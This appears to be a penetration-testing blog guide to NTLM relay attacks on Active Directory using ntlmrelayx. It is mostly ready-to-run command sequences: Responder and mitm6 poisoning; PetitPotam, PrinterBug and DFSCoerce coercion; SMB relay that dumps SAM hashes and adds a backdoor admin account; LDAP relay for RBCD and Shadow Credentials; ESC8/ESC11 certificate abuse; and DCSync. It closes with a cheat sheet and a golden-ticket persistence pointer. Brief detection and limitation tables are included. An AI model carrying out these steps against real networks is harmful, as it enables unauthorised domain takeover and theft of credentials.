networking

ntlmrelayx: NTLM Relay Attack - Setup and Bypass 2026

ntlmrelayx: NTLM Relay Attack - Setup and Bypass 2026

Complete guide to the NTLM Relay Attack with ntlmrelayx: coercion (PetitPotam, PrinterBug), SMB/LDAP/ADCS relay (ESC8), RBCD, Shadow Credentials, and DCSync. Internal network to Domain Admin workflow.

  • Posted on 2026-06-18
  • Reading time: 15 min

ntlmrelayx.py — Complete Guide to NTLM Relay with Impacket #

TL; DR: ntlmrelayx.py It intercepts NTLM authentications and retransmits them to a target service without knowing the password. With forced coercion, you can force a Domain Controller to authenticate to you and reach Domain Admin in minutes—exploiting misconfiguration, not zero-days.

ntlmrelayx.py is part of Packet and it's the most comprehensive tool for NTLM relay attacks. It's not a single tool: it's a three-layer system. Understanding this architecture is what separates those who use ntlmrelayx mechanically from those who understand why each relay works or fails.

Official reference: fortra/impacket — ntlmrelayx.py
MITRE ATT&CK: T1557.001 — LLMNR/NBT-NS Poisoning and SMB Relay


Architecture: ntlmrelayx is 3 things together #

text
┌─────────────────────────────────────────────────┐
│           LAYER 1 — CAPTURE ENGINE              │
│  SMB Server │ HTTP Server │ WCF Server │ RAW    │
│  (porta 445)  (porta 80)   (.NET WCF)  (6666)  │
│  Riceve l'autenticazione NTLM dal victim        │
└──────────────────────┬──────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────┐
│           LAYER 2 — RELAY ENGINE                │
│  Inoltra challenge/response NTLM al target      │
│  senza mai vedere la password                   │
│  Implementa CVE-2019-1040 (--remove-mic)        │
└──────────────────────┬──────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────┐
│        LAYER 3 — PROTOCOL HANDLER + ACTIONS     │
│  SMB  │ LDAP │ LDAPS │ HTTP │ MSSQL │ IMAP      │
│  Esegue azioni post-relay specifiche per        │
│  protocollo: dump, RBCD, exec, ADCS cert...     │
└─────────────────────────────────────────────────┘

The reason it works is this: NTLM is a challenge-response protocol that doesn't tie authentication to the network channel (except for EPA/Channel Binding). ntlmrelayx captures the authentication flow at Layer 1 and reuses it identically towards a different target at Layer 2. Layer 3 decides what to do after the access is gained.


The target protocols — behavior, requirements, impact #

This is the part you need to understand before choosing a target. Each protocol has different rules about when relaying is possible and what you can do afterward.

SMB (smb://) #

Why it works: SMB allows session setup via NTLM. Message signing is optional and disabled by default on non-DC workstations and servers. Without a signature, relayed authentication is indistinguishable from legitimate authentication.

Why it fails: Mandatory SMB signing (all DCs by default, Group Policy option) binds NTLM to the SMB channel via cryptographic signature — the relay would be rejected.

text
SMB signing OFF → relay funziona → esegui comandi, dumpa SAM, accedi ai file
SMB signing ON  → relay rigettato → cambia target
What can you doRequirement
Executing commands (-c)Local admin on target
SAM/LSA automatic dumpLocal admin on target
File share accessAny user with share permissions
User enumeration (non-admin)Any domain account
Interactive shell (-i)Local admin (per write)
bash
# SAM dump automatico — il più usato
sudo ntlmrelayx.py -tf /tmp/relay.txt -smb2support

# Esecuzione comando immediata
sudo ntlmrelayx.py -t smb://10.10.10.20 -smb2support \
  -c "whoami && net localgroup Administrators"

# Aggiunta utente admin locale
sudo ntlmrelayx.py -t smb://10.10.10.20 -smb2support \
  -c "net user attacker Pass123! /add && net localgroup Administrators attacker /add"

# Shell interattiva → accesso file, upload/download
sudo ntlmrelayx.py -tf /tmp/relay.txt -smb2support -i
nc 127.0.0.1 11000   # → smb> shares / ls / get / put

# SOCKS per tool multipli sulla stessa sessione
sudo ntlmrelayx.py -tf /tmp/relay.txt -smb2support -socks
proxychains impacket-secretsdump -no-pass CORP/admin@10.10.10.20

LDAP (ldap://) #

Why it works: LDAP accepts native NTLM authentication (LDAP binds via NTLM). LDAP signing is configurable—many environments have not forced it for legacy compatibility.

Why it fails: if LDAP signing is required (ldapServerIntegrity = 2), any write operation is rejected. Read-only/dump operations may also work with signing required in certain scenarios.

text
LDAP signing OFF → relay funziona → modifica AD, RBCD, dump
LDAP signing ON  → solo dump possibile → per write usa LDAPS
What can you doRequirement
Dump users/groups/AD structureAuthenticated account
Create domain userSufficient permits
Adding to Domain AdminsElevated privileges on the relayed account
RBCD setupWrite on msDS-AllowedToActOnBehalfOfOtherIdentity
Dump LAPSms-Mcs-AdmPwd readable
Shadow CredentialsWrite to msDS-KeyCredentialLink (not plain LDAP)
--escalate-user → FROM directWrite on domain root object (grant DCSync rights to target user)
bash
# Dump struttura AD + tentativo aggiunta DA (automatico)
sudo ntlmrelayx.py -t ldap://10.10.10.5 -smb2support

# Dump LAPS — password admin locali in chiaro
sudo ntlmrelayx.py -t ldap://10.10.10.5 -smb2support --dump-laps

# Dump gMSA
sudo ntlmrelayx.py -t ldap://10.10.10.5 -smb2support --dump-gmsa

# Crea computer account (per RBCD manuale successivo)
sudo ntlmrelayx.py -t ldaps://10.10.10.5 -smb2support \
  --add-computer 'EVIL$' 'EvilPass123!'

# RBCD automatico — --delegate-access crea computer + configura delega
sudo ntlmrelayx.py -t ldaps://10.10.10.5 -smb2support --delegate-access

# Shadow Credentials — inietta chiave in msDS-KeyCredentialLink
sudo ntlmrelayx.py -t ldaps://10.10.10.5 -smb2support \
  --shadow-credentials --shadow-target 'WS01$'

# Escalate utente specifico a Domain Admin (senza creare computer account)
sudo ntlmrelayx.py -t ldap://10.10.10.5 -smb2support --escalate-user john.doe

# Cross-protocol — SMB in → LDAP out (rimuove MIC)
sudo ntlmrelayx.py -t ldap://10.10.10.5 -smb2support --remove-mic

# Interactive LDAP shell — comandi diretti su AD
sudo ntlmrelayx.py -t ldap://10.10.10.5 -smb2support -i
nc 127.0.0.1 XXXX   # → add_user / add_user_to_group / dump_domain ...

LDAPS (ldaps://) #

Why it works: LDAPS is LDAP over TLS. It doesn't have the same signing issues—the TLS encryption of the channel isn't cryptographically tied to NTLM authentication (unless Channel Binding/CBT is active). It allows all the write operations that signed LDAP blocks.

Why it fails: LDAP Channel Binding (CBT) binds NTLM authentication to the server's TLS certificate—the relay is rejected because the attacker doesn't have the DC's certificate. Enabled on modern DCs with recent patches.

text
LDAPS senza CBT → relay funziona + write complete → RBCD, Shadow Creds, user creation
LDAPS con CBT   → relay rigettato → usa HTTP/ADCS
What can you doRequirement
Everything LDAP allows+
Shadow CredentialsWrite on msDS-KeyCredentialLink
Add computer accountMachineAccountQuota > 0
Complete RBCDWrite on the target computer object
bash
# RBCD — crea computer + configura delega (poi usa getST)
sudo ntlmrelayx.py -t ldaps://10.10.10.5 -smb2support --delegate-access

# Shadow Credentials su LDAPS (più affidabile che su LDAP plain)
sudo ntlmrelayx.py -t ldaps://10.10.10.5 -smb2support \
  --shadow-credentials --shadow-target 'DC01$'

# Cross-protocol SMB → LDAPS (rimuovi MIC)
sudo ntlmrelayx.py -t ldaps://10.10.10.5 -smb2support --remove-mic --delegate-access

# Con IPv6/mitm6
sudo ntlmrelayx.py -6 -t ldaps://10.10.10.5 -smb2support --delegate-access

HTTP / HTTPS (http:// / https://) #

Why it works: HTTP doesn't support message signing—there's no equivalent mechanism for SMB signing or LDAP signing. This means any NTLM authentication over HTTP can be relayed, regardless of the domain configuration. This is why ESC8 is so devastating: AD CS Web Enrollment accepts NTLM over HTTP by default.

Why it fails: EPA (Extended Protection for Authentication) over HTTPS binds the NTLM token to the TLS channel—the relay is rejected. If the CA has EPA enabled, ESC8 won't work.

text
HTTP senza EPA  → relay SEMPRE possibile → ADCS, Exchange, OWA, web app
HTTP con EPA    → relay rigettato
HTTP TargetCarrier
AD CS Web Enrollment (/certsrv/)ESC8 → certified for DC$ → DCSync
Exchange EWSMailbox access, lateral movement
OWA (Outlook Web App)Email access
IIS with NTLM authApp Access
WPADCapture hashes while browsing
bash
# ESC8 — relay verso Web Enrollment AD CS
sudo ntlmrelayx.py -t http://CA_IP/certsrv/certfnsh.asp \
  --adcs --template DomainController -smb2support

# Verifica prima se il CA ha EPA disabilitato
curl -I http://CA_IP/certsrv/
# → "WWW-Authenticate: NTLM" = vulnerabile

# Dopo aver ricevuto il certificato (Base64 nel log):
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.5
# → ottieni NT hash + TGT del DC01$

# DCSync con il ticket ottenuto
impacket-secretsdump -k -no-pass -just-dc-ntlm \
  corp.local/'DC01$'@DC01.corp.local

MSSQL (mssql://) #

Why it works: SQL Server supports Windows Authentication via NTLM as a legacy method. It has no signing equivalent to SMB. An NTLM relay to SQL Server is accepted as legitimate Windows authentication.

Why it fails: If SQL Server only uses SQL Authentication (not Windows Auth), NTLM relay makes no sense. If the relayed account doesn't have permissions on the database, you'll get limited access.

text
MSSQL con Windows Auth → relay funziona → login SQL
Account relayed = sysadmin → xp_cmdshell → RCE
What can you doRequirement
Database loginWindows Auth enabled
Data QuerySELECT Permissions
xp_cmdshell → RCEsysadmin role
Reading file serverBULK INSERT, OPENROWSET
bash
sudo ntlmrelayx.py -t mssql://10.10.10.30 -smb2support -socks
proxychains -q impacket-mssqlclient -no-pass -windows-auth corp.local/admin@10.10.10.30

IMAP/SMTP #

Less used in pure AD scenarios, but relevant in on-premises Exchange environments.

text
IMAP relay → accesso mailbox → lettura email, esfiltrazione dati
SMTP relay → invio email → phishing interno da account legittimo
bash
sudo ntlmrelayx.py -t imap://EXCHANGE_IP -smb2support
sudo ntlmrelayx.py -t smtp://EXCHANGE_IP -smb2support

Decision tree — what you use based on what you find #

text
HAI UN'AUTENTICAZIONE NTLM (da Responder/coercizione)?
│
├── Target ha SMB signing OFF?
│   └── SÌ → SMB relay → SAM dump, exec, file access
│           → ntlmrelayx.py -tf relay.txt -smb2support
│
├── Target ha LDAP signing OFF?
│   └── SÌ (write) → LDAP relay → RBCD, dump, user creation
│           → ntlmrelayx.py -t ldap://DC_IP -smb2support
│       └── LDAPS senza CBT → ancora meglio → Shadow Credentials + RBCD
│               → ntlmrelayx.py -t ldaps://DC_IP -smb2support
│
├── AD CS Web Enrollment esposto (ESC8)?
│   └── SÌ → HTTP relay → certificato DC$ → DCSync completo
│           → ntlmrelayx.py -t http://CA_IP/certsrv/certfnsh.asp --adcs --template DomainController -smb2support
│
├── AD CS esposto via RPC (ESC11)?
│   └── SÌ + IF_ENFORCEENCRYPTICERTREQUEST=0 → RPC relay → certificato DC$ → DCSync
│           → ntlmrelayx.py -t rpc://CA_IP --adcs --template DomainController -smb2support
│
├── SQL Server con Windows Auth?
│   └── SÌ → MSSQL relay → login → se sysadmin → xp_cmdshell
│           → ntlmrelayx.py -t mssql://SQL_IP -smb2support -socks
│
├── Exchange / OWA esposto?
│   └── SÌ → HTTP relay → accesso mailbox
│
├── Nulla funziona con questa autenticazione?
│   └── Cambia vittima della coercizione
│       → Coerci un account con più privilegi (machine account, service account)
│       → WebDAV coercion per bypassare SMB signing
│       → --remove-mic per cross-protocol relay
│
└── SMB signing ovunque + LDAP signing + no ADCS?
    └── mitm6 → LDAPS relay → RBCD → getST → DA

Step 0 — Check first #

bash
# SMB signing — genera target list direttamente
nxc smb 10.10.10.0/24 --gen-relay-list /tmp/relay_targets.txt
# "signing:False" → relay target

# Verifica LDAP signing sul DC
nxc ldap 10.10.10.5 -u user -p pass -M ldap-checker
# "LDAP Signing: NOT required" → relay LDAP possibile

# Verifica ESC8 (Web Enrollment senza EPA)
curl -I http://CA_IP/certsrv/
# "WWW-Authenticate: NTLM" → ESC8 vulnerabile

# Verifica WebClient (WebDAV) sulle workstation
nxc smb 10.10.10.0/24 -u user -p pass -M webdav

# Verifica MachineAccountQuota (per RBCD)
nxc ldap 10.10.10.5 -u user -p pass -M maq

# Verifica ESC11 (RPC senza encryption forzata)
certipy find -u user@corp.local -p pass -dc-ip 10.10.10.5 -stdout | grep -i "enforce"
# "Enforce Encryption for Requests: Disabled" → ESC11 vulnerabile

Step 1 — Capture NTLM authentication #

Responder — LLMNR/NBT-NS poisoning (passive) #

Reply poisons failed DNS resolutions. When a host cannot find \\TYPO via DNS, sends an LLMNR broadcast — Responder responds and captures authentication. You must disable SMB and HTTP because ntlmrelayx needs to handle those ports.

bash
# Configura Responder
sed -i 's/HTTP = On/HTTP = Off/g' /etc/responder/Responder.conf
sed -i 's/SMB = On/SMB = Off/g' /etc/responder/Responder.conf

# Lancia in poisoning mode
sudo responder -I eth0 -rdwv

# Solo ascolto (recon senza poisoning)
sudo responder -I eth0 -A

mitm6 — DHCPv6 poisoning #

Windows prefers IPv6 over IPv4. mitm6 responds to DHCPv6 requests by declaring itself an IPv6 DNS server and poisoning resolutions. This also works with LLMNR disabled.

bash
pip3 install mitm6
sudo mitm6 -d corp.local -i eth0

# ntlmrelayx deve girare con -6
sudo ntlmrelayx.py -6 -t ldaps://10.10.10.5 --delegate-access -smb2support

mitm6 is not immediate: Windows renews DHCP on reboot or network events. Wait 5–30 minutes.

NTLMv1 downgrade + crack offline #

If the environment supports NTLMv1 (legacy or misconfigured), the resulting hashes are crackable with hashcat in minutes—unlike NTLMv2. Responder can force the downgrade.

bash
# Forza NTLMv1 in Responder.conf
sed -i 's/Challenge = Random/Challenge = 1122334455667788/g' /etc/responder/Responder.conf

# Lancia con --lm per forzare downgrade
sudo responder -I eth0 -rdwv --lm

# Hash catturato (formato NetNTLMv1):
# USER::DOMAIN:LMResponse:NTResponse:Challenge

# Crack con hashcat (mode 5500 = NetNTLMv1)
hashcat -m 5500 hashes.txt /usr/share/wordlists/rockyou.txt

# Con GPU e rainbow tables → crack quasi istantaneo su crack.sh
# https://crack.sh/ accetta NetNTLMv1 con challenge fisso 1122334455667788

Note: NTLMv1 is disabled by default on modern systems. To detect hosts that accept it, check the registry key. LmCompatibilityLevel (values ​​0-2 = NTLMv1 accepted):nxc smb TARGET -u user -p pass -x “reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LmCompatibilityLevel"Or look at the format of the hashes captured by Responder: NetNTLMv1 has LMResponse:NTResponse:Challenge, NetNTLMv2 has NTProofStr:blob.


Step 2 — Coercion techniques (forced authentication) #

Coercion forces a specific host (even the DC) to authenticate to you without waiting. It requires low-privilege domain credentials.

PrinterBug / SpoolSample (MS-RPRN) #

Print Spooler abuse. The target returns to the attacker with their machine account. Requires Print Spooler enabled.

bash
python3 printerbug.py corp.local/user:Password123@10.10.10.5 10.10.14.1
# 10.10.10.5 = host da coercere (es. DC)
# 10.10.14.1 = IP attaccante

# Verifica se Print Spooler è attivo
nxc smb 10.10.10.5 -u user -p pass -M spooler

PetitPotam (MS-EFSR) #

It abuses EFS (Encrypting File System). The authenticated version works even post-patch.

bash
# Autenticata (funziona post-CVE-2022-26925)
python3 PetitPotam.py -u user -p Password123 -d corp.local 10.10.14.1 10.10.10.5

# Unauthenticated (solo sistemi non patchati)
python3 PetitPotam.py 10.10.14.1 10.10.10.5

# WebDAV variant — esce via HTTP invece di SMB (bypassa SMB signing!)
python3 PetitPotam.py -u user -p pass -d corp.local ATTACKER@80/test 10.10.10.5

DFSCoerce (MS-DFSNM) #

Unpatched — works on up-to-date systems.

bash
python3 dfscoerce.py -u user -p Password123 -d corp.local 10.10.14.1 10.10.10.5

ShadowCoerce (MS-FSRVP) #

bash
python3 shadowcoerce.py -u user -p Password123 -d corp.local 10.10.14.1 10.10.10.5

Coercer — aggregates all methods #

Coercer automatically tests 12+ methods and uses the one that works.

bash
pip3 install coercer

# Scan — verifica senza coercere
python3 Coercer.py scan -t 10.10.10.5 -u user -p Password123 -d corp.local -v

# Coerce con tutti i metodi
python3 Coercer.py coerce -t 10.10.10.5 -l 10.10.14.1 \
  -u user -p Password123 -d corp.local --always-continue

WebDAV coercion — bypasses SMB signing #

If WebClient is enabled, coercion goes out via HTTP (port 80) instead of SMB. HTTP is unsigned → you can relay it even when SMB signing is required everywhere.

bash
# Verifica WebClient
nxc smb 10.10.10.0/24 -u user -p pass -M webdav

# ntlmrelayx ascolta su HTTP
sudo ntlmrelayx.py -t ldaps://10.10.10.5 --delegate-access --http-port 80 -smb2support

# Coercione verso HTTP (WebDAV)
python3 PetitPotam.py -u user -p pass -d corp.local ATTACKER@80/test WS01_IP

WPAD + mitm6 — Forced proxy authentication #

mitm6 declares itself as an IPv6 DNS server. Windows machines look for the proxy configuration via WPAD (Web Proxy Auto-Discovery) → they make an NTLM-authenticated HTTP request to the attacker. It operates passively, without active coercion.

bash
# Terminal 1 — mitm6 avvelena DNS IPv6
sudo mitm6 -d corp.local -i eth0

# Terminal 2 — ntlmrelayx con WPAD + relay LDAPS
sudo ntlmrelayx.py -6 -t ldaps://10.10.10.5 --delegate-access -smb2support \
  --wpad-host 10.10.14.1 --wpad-auth-num 1

# Quando una macchina richiede wpad.dat → autenticazione NTLM → relay
# --wpad-host = IP dell'attaccante che serve il file WPAD
# --wpad-auth-num 1 = forza autenticazione NTLM prima di servire il WPAD

The mitm6 + WPAD combo hits every machine that opens the browser on the network — no need to wait for name errors or manual coercion.


ntlmrelayx global options #

OptionDescription
-t TARGETSingle Target
-tf FILEFile with target list
-smb2supportAlways put it on — enable SMB2
-6IPv6 support (for mitm6)
-iInteractive shell → accessible via nc
-socksKeep session open for proxychains
-c COMANDORun command on SMB relay
-e FILEUpload and execute files on the target
--remove-micRemove MIC (CVE-2019-1040) — for cross-protocol relay
--no-dumpDon't do automatic SAM dump
--no-daDo not attempt to add Domain Admins
--no-aclDo not modify ACL
-wMonitor target files for live updates
--http-port PORTHTTP listener port
--no-http-serverDisable HTTP server
--no-smb-serverDisable SMB server
--escalate-user USEREscalate existing user to Domain Admin via LDAP

Scenario 1 — SMB Relay → SAM dump + exec #

bash
# SAM dump automatico su tutti i target
sudo ntlmrelayx.py -tf /tmp/relay.txt -smb2support

# Con exec
sudo ntlmrelayx.py -t smb://10.10.10.20 -smb2support \
  -c "net user attacker Pass123! /add && net localgroup Administrators attacker /add"

# Interactive shell
sudo ntlmrelayx.py -tf /tmp/relay.txt -smb2support -i
# → nc 127.0.0.1 11000

What to do with SAM hashes #

bash
nxc smb 10.10.10.0/24 -u Administrator -H NThash --local-auth
impacket-secretsdump corp.local/administrator:pass@10.10.10.20

Scenario 2 — SOCKS mode → persistent access #

bash
sudo ntlmrelayx.py -tf /tmp/relay.txt -smb2support -socks

# Lista sessioni attive
ntlmrelayx> socks

# Via proxychains — usa qualsiasi tool come se fossi autenticato
echo "socks4 127.0.0.1 1080" >> /etc/proxychains4.conf
proxychains -q impacket-secretsdump -no-pass CORP/admin@TARGET
proxychains -q nxc smb TARGET -u admin -p '' --no-bruteforce

Scenario 3 — LDAP Relay → RBCD → Domain Admin #

bash
# Step 1 — relay LDAPS con --delegate-access
# Usa -6 se catturi con mitm6; omettilo se usi solo coercizione
sudo ntlmrelayx.py -t ldaps://10.10.10.5 --delegate-access -smb2support

# Step 2a — mitm6 (passivo, cattura DHCP IPv6)
sudo mitm6 -d corp.local -i eth0
# Oppure: Step 2b — coercizione diretta (aggiungere -6 al comando sopra se usi mitm6)
python3 PetitPotam.py -u user -p Password123 -d corp.local 10.10.14.1 10.10.10.5

# Quando WS01$ autentica:
# [*] Adding new computer: XEWRIYIH$ with password: Rand0mP@ss!
# [*] Delegating to WS01$ via msDS-AllowedToActOnBehalfOfOtherIdentity

# Step 3 — getST e accesso come Administrator
impacket-getST -spn cifs/WS01.corp.local -impersonate Administrator \
  -dc-ip 10.10.10.5 corp.local/'XEWRIYIH$':'Rand0mP@ss!'
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass corp.local/Administrator@WS01.corp.local

Full flow in RBCD and getST.py.


Scenario 4 — LDAPS Relay → Shadow Credentials #

Stealthier than RBCD — does not create computer accounts.

bash
sudo ntlmrelayx.py -t ldaps://10.10.10.5 \
  --shadow-credentials --shadow-target 'WS01$' \
  --pfx-password 'CertPass123' --export-type PEM \
  --cert-outfile-path /tmp/ws01_shadow -smb2support

# Metodo 1 — PKINITtools
python3 gettgtpkinit.py -cert-pfx /tmp/ws01_shadow.pfx -pfx-pass 'CertPass123' \
  corp.local/'WS01$' /tmp/ws01.ccache
KRB5CCNAME=/tmp/ws01.ccache python3 getnthash.py -key AS_REP_KEY corp.local/'WS01$'
nxc smb WS01.corp.local -u 'WS01$' -H NThash

# Metodo 2 — certipy (più semplice)
certipy auth -pfx /tmp/ws01_shadow.pfx -dc-ip 10.10.10.5 -username 'WS01$' -domain corp.local
# → restituisce direttamente NT hash + TGT

Details in Shadow Credentials.


Scenario 5 — LDAP Relay → Dump LAPS / gMSA / ADCS info #

bash
sudo ntlmrelayx.py -t ldap://10.10.10.5 -smb2support --dump-laps
# Hostname        | AdmPwd
# WS01.corp.local | R@nd0mL@ps!

sudo ntlmrelayx.py -t ldap://10.10.10.5 -smb2support --dump-gmsa
sudo ntlmrelayx.py -t ldap://10.10.10.5 -smb2support --dump-adcs   # template ESC info
sudo ntlmrelayx.py -t ldaps://10.10.10.5 -smb2support --add-computer 'EVIL$' 'EvilPass123!'

Scenario 6 — HTTP Relay → ESC8 (AD CS) → DCSync #

This scenario does not depend on SMB signing or LDAP signing — HTTP has no signing, it always works if EPA is not enabled on the CA.

bash
# Step 1 — Verifica
curl -I http://CA_IP/certsrv/
# WWW-Authenticate: NTLM → vulnerabile

# Step 2 — ntlmrelayx verso Web Enrollment
sudo ntlmrelayx.py -t http://CA_IP/certsrv/certfnsh.asp \
  --adcs --template DomainController -smb2support

# Step 3 — Coerci il DC verso l'attaccante
python3 PetitPotam.py -u user -p Password123 -d corp.local 10.10.14.1 10.10.10.5

# Quando arriva autenticazione DC01$:
# [*] Certificate successfully requested
# [*] Base64 certificate of user DC01$: MIIRLAIBAz...

# Step 4 — Autenticati come DC01$ e DCSync
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.5
# → NT hash di DC01$

KRB5CCNAME=dc01.ccache impacket-secretsdump -k -no-pass \
  -just-dc-ntlm corp.local/'DC01$'@DC01.corp.local

Full ADCS path in ADCS ESC1-ESC16.


Scenario 6b — RPC Relay → ESC11 (AD CS via ICPR) #

ESC11 is the alternative to ESC8 when Web Enrollment (/certsrv/) is not exposed or has EPA enabled. It abuses the native ADCS RPC protocol (MS-ICPR)—not HTTP—to request certificates. It has no signing mechanism equivalent to SMB.

Prerequisite: the CA has the flag IF_ENFORCEENCRYPTICERTREQUEST Not set (value 0). Verifiable with certipy or the CA GUI.

bash
# Verifica flag ESC11 sul CA
certipy find -u user@corp.local -p Password123 -dc-ip 10.10.10.5 -stdout | grep -i "enforce"
# "Enforce Encryption for Requests: Disabled" → vulnerabile

# ntlmrelayx verso RPC del CA
sudo ntlmrelayx.py -t rpc://CA_IP -smb2support \
  --adcs --template DomainController

# Coerci il DC verso l'attaccante
python3 PetitPotam.py -u user -p Password123 -d corp.local 10.10.14.1 10.10.10.5

# Il flow post-relay è identico a ESC8:
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.5
impacket-secretsdump -k -no-pass -just-dc-ntlm corp.local/'DC01$'@DC01.corp.local

ESC11 bypasses the EPA protection that blocks ESC8 — if you find a CA with both services, try ESC11 first.


Scenario 7 — MSSQL Relay → xp_cmdshell #

bash
sudo ntlmrelayx.py -t mssql://10.10.10.30 -smb2support -socks
proxychains -q impacket-mssqlclient -no-pass -windows-auth corp.local/admin@10.10.10.30

SQL> EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
SQL> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
SQL> EXEC xp_cmdshell 'whoami';

Deepening in port 1433 MSSQL.


Scenario 8 — Cross-protocol relay with --remove-mic #

When SMB signing is required but LDAP signing is not, use --remove-mic to strip MIC from NTLM authentication and relay it cross-protocol.

bash
# SMB → LDAP (rimuove MIC per aggirare protezione cross-protocol)
sudo ntlmrelayx.py -t ldap://10.10.10.5 -smb2support --remove-mic

# SMB → LDAPS
sudo ntlmrelayx.py -t ldaps://10.10.10.5 -smb2support --remove-mic

# Utile anche con NTLMv1 (che non ha MIC nativamente)

Scenario 9 — Multi-relay (-tf) #

bash
nxc smb 10.10.10.0/24 --gen-relay-list /tmp/relay.txt
sudo ntlmrelayx.py -tf /tmp/relay.txt -smb2support -w
# Un'unica autenticazione → relay contemporaneo su TUTTI i target
# -w aggiorna la lista live

Scenario 10 — SMB signing everywhere → WebDAV → LDAPS relay #

When SMB signing is required network-wide and LDAP signing blocks writes, WebDAV is the bypass. If WebClient is running on a workstation, coercion goes out via HTTP (port 80) instead of SMB—and HTTP is unsigned.

bash
# Step 1 — verifica WebClient attivo sulle workstation
nxc smb 10.10.10.0/24 -u user -p Password123 -M webdav
# "WebClient: True" → target usabile per coercizione WebDAV

# Step 2 — ntlmrelayx in ascolto su HTTP porta 80
sudo ntlmrelayx.py -t ldaps://10.10.10.5 --delegate-access \
  --http-port 80 -smb2support

# Step 3 — coercizione WebDAV su una workstation con WebClient attivo
# Il formato ATTACKER@80/path forza l'uscita via HTTP/WebDAV
python3 PetitPotam.py -u user -p Password123 -d corp.local \
  10.10.14.1@80/test WS01_IP

# Alternativa con printerbug verso workstation (non DC)
python3 printerbug.py corp.local/user:Password123@WS01_IP 10.10.14.1@80/test

# Step 4 — WS01$ autentica su HTTP → relay LDAPS → RBCD su WS01$
# [*] Adding new computer: XEWRIYIH$ with password: Rand0mP@ss!
# [*] Delegating to WS01$ via msDS-AllowedToActOnBehalfOfOtherIdentity

# Step 5 — getST → accesso come Administrator su WS01
impacket-getST -spn cifs/WS01.corp.local -impersonate Administrator \
  -dc-ip 10.10.10.5 corp.local/'XEWRIYIH$':'Rand0mP@ss!'
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass corp.local/Administrator@WS01.corp.local

This flow also works with SMB signing required on all targets — it's the method to use when every other route is blocked.


Limitations and workarounds #

ProtectionWhat's blockingWorkaround
SMB signing requiredSMB relayRelay on LDAP/HTTP/MSSQL; WebDAV coercion
LDAP signing requiredLDAP write relayUse LDAPS; --remove-mic cross-protocol
LDAPS Channel Binding (CBT)LDAPS relayHTTP/ADCS relay; very difficult to circumvent
EPA on AD CSESC8 relayESC11 (RPC relay) if ICPR does not have forced encryption
IF_ENFORCEENCRYPTICERTREQUEST=1ESC11 relayUse ESC8 if Web Enrollment is available
LLMNR/NBT-NS disabledPassive respondermitm6 + active coercion
PetitPotam patched (anon)EFS anonymous coercionAuthenticated Version; PrinterBug; DFSCoerce
Print Spooler disabledPrinterBugDFSCoerce; PetitPotam Authenticated; Coercer
Microsoft Defender for IdentityDetect relay + coercionReduce speed; use existing sessions

Detection #

TechnologyEvent IDIndicator
LLMNR poisoning4648Explicit logon to unusual IP
SMB Relay4624 Type 3Network login from attacker IP
LDAP Relay4662Change msDS-AllowedToActOnBehalfOf, msDS-KeyCredentialLink
PetitPotam / PrinterBug4769Machine account authenticates to non-DC IP
ESC84886Cert request for machine account ($) from unusual IP
ESC114886 + RPC trafficCertificate request via ICPR from unauthorized IP
Shadow Credentials4662Edit msDS-KeyCredentialLink
RBCD4662Change msDS-AllowedToActOnBehalfOfOtherIdentity
Escalate-user4662ACL modification on domain root object (DS-Replication rights added)
Cross-protocol (–remove-mic)4624 + correlationNTLM without MIC on modern environments

Complete workflow — from internal network to Domain Admin #

text
FASE 1 — RECON
├── nxc smb subnet --gen-relay-list relay.txt   → trova target SMB unsigned
├── nxc ldap DC -u user -p pass -M ldap-checker → verifica LDAP signing
├── curl -I http://CA_IP/certsrv/               → verifica ESC8
├── certipy find ... | grep -i enforce          → verifica ESC11
└── nxc smb subnet -M webdav                    → verifica WebDAV

FASE 2 — DECISION TREE
├── SMB signing OFF → SMB relay (più semplice)
├── LDAP signing OFF → LDAP/LDAPS relay (AD manipulation)
├── ESC8 → HTTP relay verso ADCS (più devastante)
├── ESC11 → RPC relay verso ADCS (alternativa senza EPA)
├── WebClient attivo → WebDAV coercion → bypassa SMB signing ovunque
└── Niente → mitm6 + WebDAV coercion

FASE 3 — SETUP (3 terminal paralleli)
├── T1: ntlmrelayx con target e azioni
├── T2: Responder (HTTP/SMB off) OPPURE mitm6
└── T3: coercizione attiva (PrinterBug/PetitPotam/DFSCoerce)

FASE 4 — IMPATTO
├── SMB relay → SAM dump → PtH laterale
├── LDAPS relay → RBCD/Shadow Creds → getST → DA
├── ESC8/ESC11 → certificato DC$ → secretsdump → tutti gli hash
└── MSSQL → xp_cmdshell → shell

FASE 5 — PERSISTENZA
└── Hash krbtgt → Golden Ticket → /articoli/golden-ticket

Complete Cheat Sheet #

bash
# === RECON ===
nxc smb 10.10.10.0/24 --gen-relay-list /tmp/relay.txt
nxc ldap DC -u user -p pass -M ldap-checker
nxc smb subnet -u user -p pass -M webdav
curl -I http://CA_IP/certsrv/
certipy find -u user@corp.local -p pass -dc-ip DC_IP -stdout | grep -i enforce

# === SETUP RESPONDER ===
sed -i 's/HTTP = On/HTTP = Off/g' /etc/responder/Responder.conf
sed -i 's/SMB = On/SMB = Off/g' /etc/responder/Responder.conf
sudo responder -I eth0 -rdwv

# === COERCIZIONE ===
python3 printerbug.py corp.local/user:pass@DC_IP ATTACKER_IP
python3 PetitPotam.py -u user -p pass -d corp.local ATTACKER_IP DC_IP
python3 dfscoerce.py -u user -p pass -d corp.local ATTACKER_IP DC_IP
python3 Coercer.py coerce -t DC_IP -l ATTACKER_IP -u user -p pass -d corp.local

# === SMB RELAY ===
sudo ntlmrelayx.py -tf /tmp/relay.txt -smb2support
sudo ntlmrelayx.py -t smb://TARGET -smb2support -c "whoami"
sudo ntlmrelayx.py -tf /tmp/relay.txt -smb2support -i   # → nc 127.0.0.1 11000
sudo ntlmrelayx.py -tf /tmp/relay.txt -smb2support -socks
proxychains impacket-secretsdump -no-pass CORP/admin@TARGET

# === LDAP/LDAPS RELAY ===
sudo ntlmrelayx.py -t ldap://DC_IP -smb2support              # dump + auto
sudo ntlmrelayx.py -t ldaps://DC_IP -smb2support             # write complete
sudo ntlmrelayx.py -t ldaps://DC_IP -smb2support --remove-mic # cross-protocol
